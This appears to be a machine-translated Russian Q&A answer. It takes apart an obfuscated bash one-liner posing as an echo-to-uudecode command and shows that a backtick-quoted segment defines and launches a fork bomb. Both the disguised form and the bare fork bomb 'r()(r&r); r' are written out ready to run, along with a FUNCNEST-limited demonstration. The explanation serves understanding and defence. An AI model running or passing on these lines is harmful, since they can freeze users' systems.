Сначала давайте посмотрим на всю команду:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Он содержит строку в двойных кавычках, которая отображается в uudecode . Но обратите внимание, что внутри строки в двойных кавычках есть строка в обратных кавычках . Эта строка исполняется . Строка:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Если мы посмотрим, что в нем, мы увидим три команды:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Выполняя раскладку по средней команде, мы имеем:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
Первая строка пытается выполнить бессмысленную команду в фоновом режиме. Это неважно.
Важна вторая строка: она определяет функцию r которая при запуске запускает две свои копии. Каждая из этих копий, конечно, запустит еще две копии. И так далее.
Третья строка запускает r , начиная бомбу вилки.
Остальная часть кода, за пределами строки в кавычках, - просто ерунда для запутывания.
Как выполнить команду безопасно
Этот код можно безопасно выполнить, если мы установим ограничение на уровень вложенности функций. Это можно сделать с помощью переменной FUNCNEST bash. Здесь мы устанавливаем его равным 2 и это останавливает рекурсию:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Приведенные выше сообщения об ошибках показывают, что (а) бессмысленные команды rYWdl и Y29j не найдены, (б) форк-бомба неоднократно останавливается с помощью FUNCNEST, и (в) вывод echo не начинается с begin и, следовательно, не действительный ввод для uudecode .
Вилочная бомба в простейшем виде
Как бы выглядела вилочная бомба, если бы мы убрали затемнение? Как показывают njzk2 и gerrit, это будет выглядеть так:
echo "`r()(r&r);r`"
Мы можем упростить это еще дальше:
r()(r&r); r
Это состоит из двух утверждений: одно определяет функцию бомба-вилка r а второе запускает r .
Весь остальной код, включая канал к uudecode , был там только для маскировки и неверного направления.
Первоначальная форма имела еще один слой неверного направления
ОП предоставил ссылку на обсуждение на форуме, на котором появился этот код. Как представлено там, код выглядел следующим образом:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Обратите внимание на один из первых комментариев об этом коде:
Я влюбился в это. Скопировал только ту часть, которая перекликается и перекодирует, но все же получил бомбардировку
В форме на плате каналов можно наивно думать, что проблема будет в выражении eval работающем на выходе uudecode . Это может привести к мысли, что удаление eval решит проблему. Как мы видели выше, это неверно и опасно.